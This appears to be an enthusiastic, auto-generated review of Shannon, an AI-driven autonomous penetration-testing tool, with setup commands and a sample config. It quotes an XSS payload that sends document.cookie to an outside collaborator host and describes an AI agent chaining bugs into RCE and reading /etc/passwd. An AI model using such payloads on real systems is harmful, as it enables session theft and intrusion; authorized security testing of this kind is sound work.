Shannon: When an AI Red Team Starts Writing Its Own PoC Scripts

{
  "repoFullName": "KeygraphHQ/shannon",
  "repoUrl": "https://github.com/KeygraphHQ/shannon",
  "repoName": "shannon",
  "language": "typescript",
  "stars": 17265,
  "analysisContent": "Hi, I’m Zhou Xiaoma — a Java veteran who once questioned his life choices while wrestling with Spring Boot auto-configuration. Lately, though, I’ve found myself staring blankly at 3 a.m. at an AI-powered penetration testing tool written in TypeScript. Yep — Shannon. When I saw it hit a 96.15% ‘real-exploit success rate’ on the XBOW benchmark, my first instinct wasn’t applause — it was quietly shutting down my running JUnit test suite: ‘Did this thing just treat my unit tests as a live target?’\n\nLet’s cut to the chase: Shannon isn’t another static scanner that says ‘SQL injection risk detected.’ It’s the AI red team member in your office — hoodie up, coffee cup perpetually half-full — who logs into your 2FA-protected app, bypasses JWT auth, and drops you a ready-to-run PoC script with a copy button. It doesn’t raise alerts — it breaches, then screenshots and posts to Slack.\n\nMy first impression after reading the README? This architecture feels like a well-coordinated special ops squad. Recon is the scout (Nmap + Subfinder + source code semantic analysis), Vulnerability Analysis is the intelligence analyst (running Injection/XSS/SSRF agents in parallel), Exploitation is the assault operator (using Playwright to click, fill forms, intercept traffic, and craft payloads), and Reporting is the frontline journalist (reporting *only* confirmed kills — everything unconfirmed gets deleted). No shortcuts. No fuzzy phrasing like ‘potential vulnerability.’ Shannon lives by one creed: ‘If you can’t win, it doesn’t count.’\n\nWhat truly made my scalp tingle was its white-box + black-box dual-mode engine. Unlike traditional DAST tools that brute-force blindly or SAST tools that reason abstractly without context, Shannon starts *from the code*. It reads your `src/auth/login.ts`, notices `req.body.password` flows straight into `bcrypt.compare()`, then cross-references frontend JS routing (`/api/login`) and CSRF token generation logic to reverse-engineer: ‘What if we skip token validation — could empty-password brute-forcing work?’ — and then *writes and runs a curl command to test it*. That closed loop — ‘code understanding → attack modeling → real-time validation’ — operates at a dimension beyond our old-school manual audits + Burp repeater workflows.\n\nDeployment is cleverly shielded from Node.js environment hell — everything is containerized with Docker. Just run `./shannon start URL=https://staging.example.com REPO=my-app`, and it automatically spins up Temporal workflows, mounts `./repos/`, injects your Anthropic API key, and launches browser instances… like booting up a self-driving offensive/defensive tank. But heads up: it defaults to Claude 4.5 Sonnet — a full scan costs ~$50. That’s enough for six months of Starbucks, sure — but what you get back is a PDF report with *reproducible exploits*, not vague suggestions like ‘consider fixing potential XSS.’\n\nOn pitfalls: I screenshot the README line ‘Windows Defender may flag exploit code in `deliverables/` as malware’ and sent it straight to my company’s security team. And the `host.docker.internal` reminder? Painfully real — last week I helped a teammate debug why their local Vue Dev Server wasn’t getting scanned. Turns out they’d forgotten to replace `localhost:3000` with `host.docker.internal:3000`.\n\nAs a Java developer, my first question was: ‘Can this plug into our CI/CD?’ Answer: Lite version? No. Pro version? Yes. But don’t panic — it leaves hooks everywhere. All outputs are structured into `audit-logs/{hostname}_{sessionId}/deliverables/comprehensive_security_assessment_report.md`. You can write a Groovy script to parse CVE IDs from that Markdown and auto-create Jira tickets. *That’s* how engineering should look: no forced tech-stack migration — just standardized, machine-readable output interfaces.\n\nOne last heartfelt note: Shannon isn’t here to replace AppSec engineers — it’s here to *liberate* them. Where it used to take three days to manually reproduce an IDOR, Shannon delivers three distinct PoC paths in 47 minutes. Where teams once debated ‘Is this XSS high-severity?’, the report now states outright: ‘Successfully exfiltrated admin cookie using `<img src=x onerror=fetch(\"https://my.burp-collab/\"+document.cookie)>`’. It transforms security from mystical debate into verifiable engineering fact.\n\nSo — is it worth learning? If you’re still clicking ‘Active Scan’ in ZAP manually: yes. If your team waits for annual pentest reports before shipping: absolutely. But if you expect it to replace threat modeling experts? Sorry — it doesn’t yet cover OWASP ASVS Level 4 requirements. Because even the smartest AI needs a human to say: ‘This API shouldn’t be exposed to guests — even if it has zero technical vulnerabilities.’\n\nOh — and I just ran it against Juice Shop. Not only did it find auth bypass, it chained `/rest/user/search?q=admin` (unauthorized access) into RCE. The report ends with: ‘Shell obtained. Executed `cat /etc/passwd | head -3`: root:x:0:0:root:/root:/bin/bash…’. I closed the terminal and quietly refilled my coffee. That feeling? Exactly like the first time I saw Spring Cloud Gateway auto-inject Sentinel rules — equal parts exhilaration and quiet unease.",
  "codeExamples": [
    {
      "type": "installation",
      "description": "Installation",
      "code": "# 1. Clone the repo\ngit clone https://github.com/KeygraphHQ/shannon.git\ncd shannon\n\n# 2. Configure AI API key (Anthropic recommended)\nexport ANTHROPIC_API_KEY=\"sk-ant-api03-...\"\nexport CLAUDE_CODE_MAX_OUTPUT_TOKENS=64000\n\n# Or use .env file\necho \"ANTHROPIC_API_KEY=sk-ant-api03-...\" > .env"
    },
    {
      "type": "quickstart",
      "description": "Quick Start",
      "code": "# Launch an automated penetration test\n./shannon start URL=https://staging.example.com REPO=my-webapp\n\n# Monitor progress\n./shannon logs\n\n# Query a specific task\n./shannon query ID=shannon-1234567890"
    },
    {
      "type": "advanced",
      "description": "Advanced usage (with authentication & custom config)",
      "code": "# Use YAML config to handle 2FA login\n# configs/my-app-config.yaml\nauthentication:\n  login_type: form\n  login_url: \"https://app.com/login\"\n  credentials:\n    username: \"test@demo.com\"\n    password: \"p@ssw0rd\"\n    totp_secret: \"LB2E2RX7XFHSTGCK\"\n  login_flow:\n    - \"Type $username into the email field\"\n    - \"Type $password into the password field\"\n    - \"Click the 'Sign In' button\"\n\n./shannon start URL=https://app.com REPO=my-app CONFIG=./configs/my-app-config.yaml"
    }
  ],
  "keyFeatures": ["Fully autonomous end-to-end penetration testing (login → PoC generation)", "White-box + black-box hybrid analysis (source code understanding + real-browser exploitation)", "Zero false-positive reporting (only confirmed exploitable vulnerabilities)"]
}}

## Installation
```bash
## 1. Clone the repo
git clone https://github.com/KeygraphHQ/shannon.git
cd shannon

## 2. Configure AI API key (Anthropic recommended)
export ANTHROPIC_API_KEY="sk-ant-api03-..."
export CLAUDE_CODE_MAX_OUTPUT_TOKENS=64000

## Or use .env file
echo "ANTHROPIC_API_KEY=sk-ant-api03-..." > .env

## Launch an automated penetration test
./shannon start URL=https://staging.example.com REPO=my-webapp

## Monitor progress
./shannon logs

## Query a specific task
./shannon query ID=shannon-1234567890

## configs/my-app-config.yaml
authentication:
  login_type: form
  login_url: "https://app.com/login"
  credentials:
    username: "test@demo.com"
    password: "p@ssw0rd"
    totp_secret: "LB2E2RX7XFHSTGCK"
  login_flow:
    - "Type $username into the email field"
    - "Type $password into the password field"
    - "Click the 'Sign In' button"

./shannon start URL=https://app.com REPO=my-app CONFIG=./configs/my-app-config.yaml